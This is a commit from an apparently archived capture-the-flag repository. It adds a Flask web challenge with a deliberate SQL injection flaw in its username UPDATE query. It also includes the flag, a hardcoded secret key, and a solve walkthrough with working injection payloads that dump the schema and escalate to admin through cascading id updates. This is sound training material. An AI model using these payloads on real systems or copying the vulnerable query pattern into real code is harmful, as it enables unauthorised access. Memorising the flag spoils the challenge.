This repository has been archived by the owner on Jun 11, 2024. It is now read-only.
generated from BCACTF/chall-repo-template
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
* update sql web * web > webex * 200 -> 150 * add deployment stuff --------- Co-authored-by: mudasir <[email protected]>
- Loading branch information
1 parent
0296746
commit b19fdef
Showing
8 changed files
with
304 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
solve.txt | ||
.dockerignore | ||
.gitignore |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
dbs/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,15 @@ | ||
FROM python:3.12-slim-bookworm | ||
|
||
RUN useradd -ms /bin/bash bcactf && chown -R bcactf:bcactf /home/bcactf | ||
|
||
USER bcactf | ||
|
||
WORKDIR /home/bcactf | ||
|
||
COPY --chown=bcactf:bcactf . . | ||
|
||
RUN pip install flask && mkdir -p /home/bcactf/dbs | ||
|
||
EXPOSE 7272 | ||
|
||
CMD [ "python", "server.py", "7272" ] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,23 @@ | ||
name: User \#1 | ||
categories: | ||
- webex | ||
value: 150 | ||
flag: | ||
file: ./flag.txt | ||
description: |- | ||
I was working on this website and wanted you to check it out. | ||
The code is a bit of a mess, since it's only an extremely early version. | ||
In fact, you're the very first user, with ID 1! | ||
PLEASE NOTE: What you do should, in theory, not affect other solvers. | ||
Please contact me if this is not the case. | ||
hints: | ||
- The form is vulnerable to SQL injection (it uses an UPDATE statement). | ||
- You will always have user ID 1. | ||
deploy: | ||
web: | ||
build: . | ||
expose: 7272/tcp | ||
authors: | ||
- Marvin | ||
visible: true |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
bcactf{g3t_BEtA_t3StERs_f6a71451d481a8} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,116 @@ | ||
# Make a Flask server that boots up a SQLite instance for each session | ||
from flask import Flask, render_template, request, session, redirect, url_for | ||
import os | ||
import datetime, threading | ||
import sqlite3 | ||
import traceback | ||
|
||
# Create the Flask application | ||
app = Flask(__name__) | ||
|
||
app.secret_key = "26115f592adbb689c20411fcd96e5d5e0b0fac079021456959dc5e9c713440a7" | ||
|
||
reset_period = 15 | ||
|
||
next_restart = datetime.datetime.now() + datetime.timedelta(minutes=reset_period) | ||
|
||
flag = open("flag.txt", "r").read() | ||
|
||
sql_connections = {} | ||
|
||
def restart(): | ||
global next_restart | ||
next_restart = datetime.datetime.now() + datetime.timedelta(minutes=reset_period) | ||
# Delete all files in folder dbs | ||
for f in os.listdir("dbs"): | ||
os.remove("dbs/" + f) | ||
print("Clearing databases.") | ||
for conn in sql_connections.values(): | ||
conn.close() | ||
sql_connections.clear() | ||
threading.Timer(reset_period * 60, restart).start() | ||
|
||
|
||
def time_to_restart(): | ||
# format as mm:ss | ||
return str(next_restart - datetime.datetime.now())[2:-7] | ||
|
||
def get_conn(db): | ||
if db not in sql_connections: | ||
conn = sqlite3.connect("dbs/" + db + ".db") | ||
c = conn.cursor() | ||
c.execute("PRAGMA foreign_keys = ON") | ||
sql_connections[db] = conn | ||
return conn | ||
return sql_connections[db] | ||
|
||
|
||
def init_db(db): | ||
role_table = "roles_" + os.urandom(8).hex() | ||
conn = get_conn(db) | ||
c = conn.cursor() | ||
c.execute("PRAGMA foreign_keys = ON") | ||
c.execute( | ||
"CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY, name TEXT NOT NULL)" | ||
) | ||
c.execute( | ||
f"CREATE TABLE IF NOT EXISTS {role_table} (id INTEGER, admin INTEGER, FOREIGN KEY(id) REFERENCES users(id) ON UPDATE CASCADE)" | ||
) | ||
# Add user if they don't exist | ||
c.execute("SELECT * FROM users") | ||
if not c.fetchone(): | ||
c.execute('INSERT INTO users (id, name) VALUES (0, "admin")') | ||
c.execute('INSERT INTO users (id, name) VALUES (1, "temp-username")') | ||
c.execute(f"INSERT INTO {role_table} (id, admin) VALUES (0, 1)") | ||
c.execute(f"INSERT INTO {role_table} (id, admin) VALUES (1, 0)") | ||
conn.commit() | ||
return role_table | ||
|
||
|
||
@app.route("/set-username", methods=["POST"]) | ||
def set_name(): | ||
print(request.form["username"], session["db"]) | ||
try: | ||
conn = get_conn(session["db"]) | ||
c = conn.cursor() | ||
c.execute(f'UPDATE users SET name="{request.form["username"]}" WHERE id=1') | ||
conn.commit() | ||
except Exception as e: | ||
print(traceback.format_exc()) | ||
return redirect(f"/?error={str(e)}") | ||
return redirect("/") | ||
|
||
|
||
@app.route("/") | ||
def index(): | ||
print(session.get("db"), session.get("role_table")) | ||
if not session.get("db") or not session.get("role_table") or request.args.get("reset"): | ||
session["db"] = os.urandom(16).hex() | ||
session["role_table"] = init_db(session["db"]) | ||
return redirect(f"/?error={request.args.get('error')}") | ||
# Fetch username from db | ||
|
||
try: | ||
conn = get_conn(session["db"]) | ||
c = conn.cursor() | ||
c.execute("SELECT name FROM users WHERE id=1") | ||
username = c.fetchone()[0] | ||
c.execute(f'SELECT admin FROM {session["role_table"]} WHERE id=1') | ||
admin = c.fetchone()[0] | ||
except Exception as e: | ||
print(traceback.format_exc()) | ||
return redirect(f"/?reset=1&error={str(e)}") | ||
|
||
return render_template( | ||
"index.html", | ||
username=username, | ||
admin=admin, | ||
flag=flag, | ||
time_to_restart=time_to_restart(), | ||
error = request.args.get("error") | ||
) | ||
|
||
|
||
if __name__ == "__main__": | ||
restart() | ||
app.run(host="0.0.0.0", port=7272) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,101 @@ | ||
The username box is a SQL UPDATE query vulnerable to injection. | ||
|
||
Using the following payload, we can see all of the SQL in the database: | ||
|
||
" || (SELECT GROUP_CONCAT(sql) from sqlite_schema) || " | ||
|
||
The result looks something like the following: | ||
|
||
CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT NOT NULL), | ||
CREATE TABLE roles_70032c33a98ae485 (id INTEGER, admin INTEGER, | ||
FOREIGN KEY(id) REFERENCES users(id) ON UPDATE CASCADE) | ||
|
||
(Your roles table will have a different name.) | ||
|
||
We can also use the same trick to find the contents of the other tables. | ||
|
||
" || (SELECT GROUP_CONCAT(id || "|" || name) from users) || " | ||
|
||
yields | ||
|
||
0|admin,1|<WHATEVER YOUR USERNAME IS SET TO> | ||
|
||
so indeed, there is an admin with ID 0 and yourself with ID 1. | ||
|
||
Checking the roles table, we find: | ||
|
||
" || (SELECT GROUP_CONCAT(id || "|" || admin) from roles_70032c33a98ae485) || " | ||
|
||
yields | ||
|
||
0|1,1|0 | ||
|
||
so, as expected, the admin user has admin=1 and you do not. | ||
|
||
This suggests that we want to somehow change "admin" on the roles table. | ||
|
||
It seems difficult to directly modify the roles table in our injection. | ||
What we can modify with our injection is the id column. | ||
|
||
We can test this with something like this: | ||
|
||
j", id=2 WHERE id=1 -- | ||
|
||
The command seems to succeed, but it results in the error: | ||
|
||
'NoneType' object is not subscriptable | ||
|
||
This makes sense if the server is just querying for id=1 to get your | ||
username, since changing your id to 2 would result in None as the query | ||
response. | ||
|
||
So, we can assume that the server is hard-coded to check id=1, which | ||
gives sense given the challenge title, description, etc. | ||
|
||
We can use the FOREIGN KEY constraint to our advantage, given | ||
the ON UPDATE CASCADE keyword. | ||
|
||
If we update the id of User #0 (which has admin set to 1) to 1, we will | ||
probably succeed. We also have to change the id of user #1 since it is | ||
a primary key, though. | ||
|
||
Doing this in one command is (as far as I've tried) impossible, since | ||
SQL will update User #0 first and then User #1 (causing a UNIQUE | ||
constraint error). | ||
|
||
However, we can do it in two steps, like this: | ||
|
||
", id=2 WHERE id=0 -- | ||
|
||
Now, the IDs are 1 and 2, with ID 2 having admin=1 (which you can | ||
verify using the roles table). | ||
|
||
Since 1 < 2 this time, we can enter | ||
|
||
", id=id-1 -- | ||
|
||
which brings the IDs down to 0 and 1. This yields the flag. | ||
|
||
To recap, what we've done to the roles table is: | ||
|
||
(Start) | ||
id | admin | ||
0 | 1 | ||
1 | 0 | ||
|
||
(after setting id=2 where id=0) | ||
id | admin | ||
1 | 0 | ||
2 | 1 | ||
|
||
(after setting id=id-1) | ||
id | admin | ||
0 | 0 | ||
1 | 1 | ||
|
||
Now, the query SELECT admin FROM roles WHERE id=1 returns 1, and we have | ||
successfully convinced the server that we are an admin. | ||
|
||
|
||
(BTW I think making the roles table name vary was completely useless, | ||
but I was too lazy to remove that part of the code, sorry) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,44 @@ | ||
<!DOCTYPE html> | ||
<html lang="en"> | ||
|
||
<head> | ||
<meta charset="UTF-8"> | ||
<meta name="viewport" content="width=device-width, initial-scale=1.0"> | ||
<title>User #1</title> | ||
</head> | ||
|
||
<body> | ||
|
||
<h1>Hi!!</h1> | ||
|
||
{% if admin == 1 %} | ||
<h1>You are User #1 (because of course User ID 0 is reserved for me, the admin... wait you're also an admin?? That's | ||
weird.) {{ flag }}</h1> | ||
{% else %} | ||
<h1>You are User #1 (because of course User ID 0 is reserved for me, the admin!)</h1> | ||
{% endif %} | ||
|
||
<h2>Your username is {{ username }}. Care to change it?</h2> | ||
|
||
<form action="/set-username" method="POST"> | ||
<input type="text" name="username" placeholder="Enter your username" required> | ||
<button type="submit">Set Username</button> | ||
</form> | ||
|
||
|
||
|
||
<h2>Note: This challenge will reset periodically for maintenance (for which you may get 500 errors - just reload). | ||
This is not related to the challenge's solution. | ||
</h2> | ||
<h3>Next restart in: {{ time_to_restart }}</h3> | ||
|
||
{% if error %} | ||
<h3>My code is bad, so you received an error (and your session might have reset):</h3> | ||
<h3> {{ error }} {% if "database is locked" in error %} (This means you probably want to <a | ||
href="/?reset=1">reset</a>.) {% endif %}</h3> | ||
|
||
<h3> (It is normal to see "no such table: users" on your first load of this page.) </h3> | ||
{% endif %} | ||
</body> | ||
|
||
</html> |